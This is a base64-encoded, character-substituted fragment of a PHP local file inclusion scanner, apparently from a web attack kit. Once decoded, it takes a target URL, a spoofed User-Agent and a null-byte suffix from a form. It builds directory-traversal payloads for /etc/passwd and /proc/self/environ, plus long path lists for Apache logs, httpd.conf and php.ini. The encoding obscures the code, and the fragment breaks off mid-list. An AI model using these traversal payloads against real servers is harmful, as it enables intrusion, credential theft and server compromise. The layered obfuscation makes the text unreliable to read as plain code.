ICAgPC8ycHQ0Mm4+IA0KICAgICAgPC9zNWw1Y3Q+IFVzNXItQWc1bnQ6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJhMCIgbjFtNT0iYzNzdDJtX2g1MWQ1ciIgdjFsMzU9IiI+IA0KICAgPC9mMnJtPic7IA0KICAgNXJyMnJfcjVwMnJ0NG5nKDApOyANCiAgICAgIDRmKCRfUE9TVFsnbGY0M3JsJ10pIHsgDQogICAgICAgICBwcjRudCAiPHByNT4iOyANCiAgICAgICAgICRjaDUxZDVyID0gJF9QT1NUWydjM3N0Mm1faDUxZDVyJ107IA0KICAgICAgICAgJHQxcmc1dCA9ICRfUE9TVFsnbGY0M3JsJ107IA0KICAgICAgICAgJHR5cDUgPSAkX1BPU1RbJ3NjMW50eXA1J107IA0KICAgICAgICAgJGJ5dDU2ID0gJF9QT1NUWyduM2xsJ107IA0KICAgICAgICAgJGxmNHQ1c3QgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3Axc3N3ZCIuJGJ5dDU2LiIiOyANCiAgICAgICAgICRsZjR0NXN0YSA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mMWs1L2Y0bDUiLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0cHIyYzVudiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjJjLzVudjRyMm4iLiRieXQ1Ni4iIjsgDQogICAgICAgICAkbGY0MWNjNXNzID0gMXJyMXkoIA0KICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1L2wyZ3MvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC9sMmdzLzFjYzVzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci93d3cvbDJncy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1YS8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMXAxY2g1LzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xY2M1c3NfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvMWNjNXNzLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1YS9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9odHRwZC8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzFjYzVzc19sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L3gxbXBwL2wyZ3MvMWNjNXNzX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQvbDFtcHAvbDJncy8xY2M1c3MubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzFjYzVzcy5sMmciLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAkbGY0NXJyMnIgPSAxcnIxeSggDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDUvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvbDJncy81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL3d3dy9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvMXAxY2g1L2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDUvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDYwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzFwMWNoNS81cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy8xcDFjaDVhLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZhID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnLzVycjJyLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL2h0dHBkLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnJfbDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvaHR0cGQvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC9sMW1wcC9sMmdzLzVycjJyX2wyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8ycHQveDFtcHAvbDJncy81cnIycl9sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vMnB0L2wxbXBwL2wyZ3MvNXJyMnIubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC9sMmdzLzVycjJyLmwyZyIuJGJ5dDU2LiIiKTsgDQogIA0KICAgICAgICAgJGxmNGMybmY0ZyA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2h0dHBkL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcDFjaDVhL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvaHR0cGQvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9odHRwZC9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNnUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC8xcHBzLzFwMWNoNS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2ZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjLzFwMWNoNWEvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDUvYzJuZi9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC8xcDFjaDVhL2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvd3d3L2MybmYvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByNHYxdDUvNXRjL2h0dHBkL2h0dHBkLmMybmYuZDVmMTNsdCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC8ycHQvMXAxY2g1YS9jMm5mL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVjJsM201cy93NWJCMWNrM3AvcHI0djF0NS81dGMvaHR0cGQvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9WMmwzbTVzL3c1YkIxY2szcC9wcjR2MXQ1LzV0Yy9odHRwZC9odHRwZC5jMm5mLmQ1ZjEzbHQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocC9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG8wID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwdS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mLnBocCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2h0dHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvaHR0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG91ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwaS9odHRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2kgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvMXAxY2g1L3ZoMnN0cy5jMm5mIi4kYnl0NTYuIiIpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgJGxmNHBocDRuNCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYjRuL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvaHR0cGQvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sNGIvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvNXRjL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvbDJjMWwvcGhwL2w0Yi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocHUvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3BocGkvbDRiL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzFwMWNoNS9jMm5mL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUudS9mY2c0L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2byA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2dSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocHUvMXAxY2g1YS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNS9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNmUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDY3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC9waHB1L3BocC40bjQiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3BocC8xcDFjaDUvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwLzFwMWNoNWEvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93NWIvYzJuZi9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC9aNW5kLzV0Yy9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYW8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzJwdC94MW1wcC81dGMvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGF1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJjMWwvd3d3L2MybmYvcGhwLjRuNCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGFpID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL